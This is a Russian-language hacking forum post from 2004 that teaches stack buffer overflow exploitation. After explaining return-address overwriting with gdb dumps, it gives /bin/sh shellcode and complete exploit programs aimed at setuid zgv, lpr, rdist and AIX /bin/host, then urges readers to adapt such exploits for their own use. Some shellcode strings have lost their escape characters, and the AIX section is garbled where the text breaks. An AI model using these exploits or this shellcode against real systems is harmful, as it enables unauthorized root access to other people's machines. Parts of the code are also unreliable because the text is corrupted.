![]() |
|
[ На главную ] -- [ Список участников ] -- [ Правила форума ] -- [ Зарегистрироваться ] |
On-line: |
Форум Для Умных Людей / [ ХАКИНГ ] / ПЕРЕПОЛНЕНИЕ БУФЕРА |
Страницы: 1 |
![]() |
Автор | Сообщение |
SNIFFER Группа: 1-админ Сообщений: 748 ![]() |
Добавлено: 22-08-2004 03:25 |
слово БУФЕРА ( это нето что у девушек ![]() Что такое переполнение буфера (Buffer Overflow)... давайте рассмотрим следующий пример: #include ‹stdio.h> main(){ char s[3]; scanf("%s",&s); printf("%s",s); } Если вы запустите эту програму, то она потребует чтобы вы ввели строку. Если строка будут меньше или ровна 3-м символам, то она выведется на экран и на этом робота ее закончится. Если вы введете строку состоящую с больше чем 3-х символов робота програмы завершится с сообщением о ошибке 'core dumped'. Все делов том, что переменной s в памяти отведено три байта(char s[3]), а введенная нами строка перевысит отведенный розмер памяти для этой переменной. Это и есть простейший пример переполнения буфера. Когда програма стартует для нее отводится определенное место в памяти. Это простратство делится на три части: code segment - сегмент кода, сюда помещаются инструкции программы которые подаются на выполнение процессору(в машинных кодах) data segment - сегмент данных, место отведенное для хранение днных stack segment - сегмент стека, пространство для хранения переменных. Процедура или функция это часть програмы, которая вызывается из главной програмы, выполняет свои задачи и возвращает управление главной програме, в ту точку откуда был произведен вызов функции. Давайте рассмотрим поближе: 0x8054321 pushl $0x0 0x8054322 call $0x80543a0 0x8054327 ret 0x8054328 leave ...... 0x80543a0 popl %eax 0x80543a1 addl $0x1337,%eax 0x80543a4 ret Значение 0 добавлено в стек(pushl $0x0), запущена функция(call $0x80543a0), возвращение(ret). После этого мы видим, как функция обработана. Функция получает переменные со стека (popl %eax) и возвращене (ret). МЫ не видим сдесь факта, что функция main() толкает ЕВР в стек каждый раз при вызове. ЕВР восстанавливается после каждого выполнения. Адрес возврата функции 0x8054327. Восстановленый регистер ЕВР представляет собой 32 бита(4 байта). Теперь давайте рассмотрим маленькую програму, и продизасемблируем ее: void lame () { char small[30]; gets (small); printf("%s ", small); } int main() { lame (); } компилируем: #cc -ggdb test.c -o test и дизассемблируем: #gdb test 0x80484c8 ‹main>: pushl %ebp -толкаем переменную в стек 0x80484c9 ‹main+1>: movl %esp,%ebp -сохраняем ее в ESP 0x80484cb ‹main+3>: call 0x80484a0 -calles function lame() 0x80484d0 ‹main+8>: leave 0x80484d1 ‹main+9>: ret -адрес возврата 0x80484a0 ‹lame> pushl %ebp -переменная функции lame() 0x80484a1 ‹lame+1>: movl %esp,%ebp -сохраняем ее в ESP 0x80484a3 ‹lame+3>: subl $0x20,%esp -стек увеличеный(x20=32) 0x80484a6 ‹lame+6>: leal 0xffffffe0(%ebp),%eax 0x80484a9 ‹lame+9>: pushl %eax 0x80484aa ‹lame+10>: call 0x80483ec -вызавается gets() 0x80484af ‹lame+15>: addl $0x4,%esp 0x80484b2 ‹lame+18>: leal 0xffffffe0(%ebp),%eax 0x80484b5 ‹lame+21>: pushl %eax 0x80484b6 ‹lame+22>: pushl $0x804852c 0x80484bb ‹lame+27>: call 0x80483dc -вызывается printf() 0x80484c0 ‹lame+32>: addl $0x8,%esp -адрес возврата, 0x80484d0 0x80484c3 ‹lame+35>: leave 0x80484c4 ‹lame+36>: ret [0x80484d0 ‹main+8>: leave] Теперь давайте запустим програму нормально: #test aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - введено 30 символов aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - все 30 програма вывела на экран Теперь переполним стек(введем 34 вимвола): #test ааааaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - введено 34 символа Segmentation fault (core dumped) - переполнение буфера Легальный розмер памяти был переполнен, посмотрим что случилось: # gdb test core (gdb) info registers eax: 0x24 ecx: 0x804852f edx: 0x1 ebx: 0x11a3c8 esp: 0xbffffdb8 ebp: 0x616161 61 это представление "а" в HEX'е. Значит мы переполнили стек четырьма буквами "а" и адрес возврата теперь 0x616161, это и вызывает ошибку. Оригинальный адрес возврата 0x80484cb. Вспомним что ЕВР имеет 4 байта. Давайте напишем експлоит чтобы возвратится в lame(). main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # (ret;cat)|./blah Пеперь функция запустится 2 раза, потому чо вместо того чтобы возвратится к 0x80484d0, после завершения lame(), она возвратится к себе - 0x80484cb. Теперь вы видите как можно измеенить адрес возврата в любую точку программы, если известен точный адрес. Теперь експлоит - shellcode(последовательность комманд ассемблера, записаных в стеке). Надо изменить адрес возврата, чтобы код выполнялся внутри стека. global code_start global code_end .data code_start: jmp 0x17 popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) my_execve: movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx xorl %edx,%edx int $0x80 call -0x1c .string "/bin/shX" code_end: Переведем этот код в HEX, это можно сделать спомощью bin2c.pl, или другой утилиты подобного рода. Вот результат ее роботы: "xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d" "x4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6ex2fx73x68x58" А вот и готовый експлоит: #include ‹stdio.h> #include #include ‹stdlib.h> static char shellcode[]= "xebx17x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8d" "x4ex08x31xd2xcdx80xe8xe4xffxffxffx2fx62x69x6ex2fx73x68x58"; int main() { char buffer[1032]; long retaddr = 0xbffff574; /*адрес возврата*/ int i; fprintf(stderr,"Используемый адрес 0x%lx ",retaddr); for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr; /*заполняем буфер адресом возврата*/ for (i=0;i<(1032-strlen(shellcode)-100);i++) /*заполняем буфер NOP'ами*/ *(buffer+i) = 0x90; memcpy(buffer+i,shellcode,strlen(shellcode)); /*shellcode скопирован после конца NOP'ов*/ setenv("HOME", buffer, 1) /*изменяем переменную HOME*/ execlp("zgv","zgv",NULL); /*исполняем*/ return 0; } Когда вы незнаете адрес начала shellcode в памяти, прийдется его искать, тоисть перебирать адреса по порядку. А теперь некоторые вопросы и ответы: QUESTION: Как мы узнали что адрес возврата 0xbffff574 ANSWER: мы изменили пееременную home: # export HOME=`perl -e 'printf "a" x 2000'` # zgv потом дизасемблировали /usr/bin/zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0x61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524 Значит 0xbffff574 - адрес возврата. QUESTION: Мы заполнили буфер нопами а потом адресом возврата? ANSWER: Есть разница между адресом и содержанием. Это надо понимать как код: for (i=0;i<1032;i+=4) *(long *)&buffer[i] = retaddr; for (i=0;i<(1032-strlen(shellcode)-100);i++) *(buffer+i) = 0x90; For i=0 to i=1032-strlen(shellcode)-99 ,адрес &buffer[i]=0xbffff574, а содержание NOP QUESTION: Почемему мы буфер заполнили NOP'ами? ANSWER: Функция возвратится перед нашим шелкодом, тогда CPU встречает NOP'ы и выполняет jmp и call. Это приведет к прыжку на popl, перемеенные перемещаются в стек и тогда выполняется код в стеке. Эту програму написал Mixter для /usr/bin/zgv . Но она может быть легко изменена для роботы с другими програмами в которых установлен setuid. Вы должны знать розмер буфера, адрес возврата, и адрес начала шелкода в памяти. Если вы настолько ленивы чтобы дизасемблировать и искать ночало шелкода, напишите брутфорсер для поиска. Теперь следующий исходник: #include ‹stdio.h> #include ‹stdlib.h> #include ‹unistd.h> #define DEFAULT_OFFSET 50 /* смещение */ #define BUFFER_SIZE 1023 /* розмер буфера */ long get_esp(void) { __asm__("movl %esp,%eax "); /* обьяснение будет ниже*/ } void main() { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07" "x89x56x0fxb8x1bx56x34x12x35x10x56x34x12" "x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8" "xd7xffxffxff/bin/sh"; int i; buff = malloc(4096); /* память асигниная для буфера*/ if(!buff) { printf("can't allocate memory "); exit(0); } ptr = buff; /* puts 4096 bytes in ptr */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); /* заполнение буфера нопами */ ptr += BUFFER_SIZE-strlen(execshell); /* память в буфере для шелкода */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; /* заполняем пространство shellcode'ом */ addr_ptr = (long *)ptr; for(i=0;i<2;i++) *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; /* узнаем адрес старта шелкода */ ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/lpr", "lpr", "-P", buff, NULL); /* запускаем програму */ } Для лудшего понимания вернемся к первой програме: pushl %ebp movl %esp,%ebp subl $0x20,%esp leal 0xffffffe0(%ebp),%eax pushl %eax call Сночала EBP толкается в стек, потом содержимое EBP копируется в ESP, 0x20=32 байта добавлены в ESP для переполнения стека, потом все копируется в EAX и толкается встек. В нашем случае мы видим функцию: long get_esp(void) { __asm__("movl %esp,%eax "); } Тогда мы видим последовательность: *(addr_ptr++) = get_esp() + DEFAULT_OFFSET; ptr = (char *)addr_ptr; А это адрес возврата для шелкода. Стандартное смещение 50, но иногда более пригоден брутфорс. Вот пример: #include ‹stdio.h> #include ‹stdlib.h> #include ‹unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 256 long get_esp(void) { __asm__("movl %esp,%eax "); } main(int argc, char **argv) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "xebx23" "x5e" "x8dx1e" "x89x5ex0b" "x31xd2" "x89x56x07" "x89x56x0f" "x89x56x14" "x88x56x19" "x31xc0" "xb0x3b" "x8dx4ex0b" "x89xca" "x52" "x51" "x53" "x50" "xebx18" "xe8xd8xffxffxff" "/bin/sh" "x01x01x01x01" "x02x02x02x02" "x03x03x03x03" "x9ax04x04x04x04x07x04"; int i; int ofs = DEFAULT_OFFSET; if(argc == 2) ofs = atoi(argv[1]); /* смещение задается как аргумент */ printf("Using offset of esp + %d (%x) ", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory "); exit(0); } ptr = buff; /* заполняем буфер нопами */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL); } Теперь, давайте посмотрим пример относительно AIX 3.2 и 4.1/4.2 написанного Georgi Guninsky: #include ‹stdio.h> #include ‹stdlib.h> #include ‹string.h> char prog[100]="/bin/host"; char prog2[30]="host"; void buggy(char *s){ char a[4]; unsigned int junk[150]; gethostbyname();} void sh2(){ int junk[0x100]; int s[2]; int toc; int ctr; junk[0x100]=0x11; toc=0xf0192c48; ctr=0xd0024c0c; s[0]=0x2f62696e; s[1]=0x2f736800; execv(&s,0); } main(int argc,char **argv){ unsigned int junk[300]; unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0}; #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int i,nop,mn; int max; unsigned int toc; unsigned int eco; unsigned int *pt; int carry1=0; int carry2=0; char *t; pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if (argc>1) max=atoi(argv[1]); if(max==0) max=78; mn=40; if(argc>2) mn=atoi(argv[2]); if(argc>3) { strncpy(prog,argv[3],100); t=strrchr(prog,'/'); if(t) strncpy(prog2,++t,30); } if(argc>4) strncpy(prog2,argv[4],30); if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { puts("Bad parameters");exit(1);} #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff); #ifndef QUIET puts("Test AIX!"); puts("Discovered and coded by Georgi G."); printf("TOC:%0x,CTR:%0x ",toc,eco); printf(" %p",&buf[nop]); #endif junk[50]=1; for(nop=0;nop buf[nop]=0x4ffffb82; strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; while(i++‹max){ buf[i]=(unsigned) &buf[nop];} buf[i]=0; for(i=0;itest type a string:aaaaaaaaaaaaaaaaaaaaaaaa Теперь я получаю сообщение о ошибке и нажимаю "Подробно", вот что мы можем увидеть: PROJECT 1 caused an invalid page fault in module ‹unknown> at 0000:61616161. Registers: EAX=00000001 CS=015f EIP=61616161 EFLGS=00010202 EBX=00530000 SS=0167 ESP=0253fdf0 EBP=61616161 ECX=0253fdf9 DS=0167 ESI=8155ce90 FS=21cf EDX=00000004 ES=0167 EDI=00000000 GS=0000 Bytes at CS:EIP: А 61 представление "а" в шестнациричном виде. А EBP содержит 61616161=aaaa и програма остановилась на 0000:61616161 потому что мы ее переполнили. Давайте ее дизасемблируем: c:/>cc1 test.c .file "test.c" gcc2_compiled.: ___gnu_compiled_c: .def ___main; .scl 2; .type 32; .endef .text LC0: .ascii "type a string: " LC1: .ascii "%s " .align 4 .globl _main .def _main; .scl 2; .type 32; .endef _main: pushl %ebp - EBP толкаем в стек movl %esp,%ebp -сохраняем subl $24,%esp -удлинняем стек call ___main -вызываем main() addl $-12,%esp pushl $LC0 -строка "type a string" call _printf -выводим ее addl $16,%esp addl $-8,%esp leal -16(%ebp),%eax pushl %eax pushl $LC1 -переменная "string" call _scanf -читаем addl $16,%esp -конвертируем L2: leave ret -это все .def _scanf; .scl 2; .type 32; .endef .def _printf; .scl 2; .type 32; .endef Переменные толкаются в стек(pushl %ebp),, потом стек удлинняется(subl $24,%esp), вызывается main() (call ___main), потом переменные ("type a string: ") функции printf() помещаются в стек (pushl $LC0), тоже происходит и со scanf(), и дальше RET(L2). Но, кое-что отсутствует здесь. Адрес возврата. Чтобы найти его используем W32Dasm,Softice или Hiev чтобы продизасемблировать програму. Значит такие атаки независимы от платформы, и могут быть реальны как на Linux, так и на Windows. Вот еще пример: #include void pr1(){ printf("first proc"); } void pr2(){ printf("second proc"); } main(){ int i; printf("Enter a number:");scanf("%i",&i); if(i==1) pr1(); else pr2();} теперь тоже, но на assebmer'е: file "test.c" gcc2_compiled.: ___gnu_compiled_c: .text LC0: .ascii "first proc " .align 4 .globl _pr1 .def _pr1; .scl 2; .type 32; .endef _pr1: -прцедура pr1() pushl %ebp -переменные в стек movl %esp,%ebp -сохраняем в ESP subl $8,%esp -удлинняем addl $-12,%esp -загружаем адрес для "%s" pushl $LC0 -push переменных для printf() call _printf -вызываем printf() addl $16,%esp L2: leave ret -возврат LC1: .ascii "second proc " .align 4 .globl _pr2 .def _pr2; .scl 2; .type 32; .endef _pr2: pushl %ebp movl %esp,%ebp subl $8,%esp addl $-12,%esp pushl $LC1 call _printf addl $16,%esp L3: leave ret .def ___main; .scl 2; .type 32; .endef LC2: .ascii "Enter a number: " LC3: .ascii "%i " .align 4 .globl _main .def _main; .scl 2; .type 32; .endef _main: - main() pushl %ebp movl %esp,%ebp subl $24,%esp call ___main addl $-12,%esp pushl $LC2 call _printf addl $16,%esp addl $-8,%esp leal -4(%ebp),%eax pushl %eax pushl $LC3 -переменная определена как int call _scanf addl $16,%esp cmpl $1,-4(%ebp) -сравниваем с "1" jne L5 - если не ровны call _pr1 -вызываем pr1() jmp L6 -иначе .p2align 4,,7 L5: call _pr2 call pr2() L6: L4: leave ret -возвращение с pr2() или pr1() .def _scanf; .scl 2; .type 32; .endef .def _printf; .scl 2; .type 32; .endef Теперь ты можешь писать свои експлоиты, и шелкод. По крайней мере ты теперь знаешь как все это роботает, и можешь изменить готовый експлоит для своих потребностей в зависимости от ситуации. |
Страницы: 1 |
![]() |
Форум Для Умных Людей / [ ХАКИНГ ] / ПЕРЕПОЛНЕНИЕ БУФЕРА |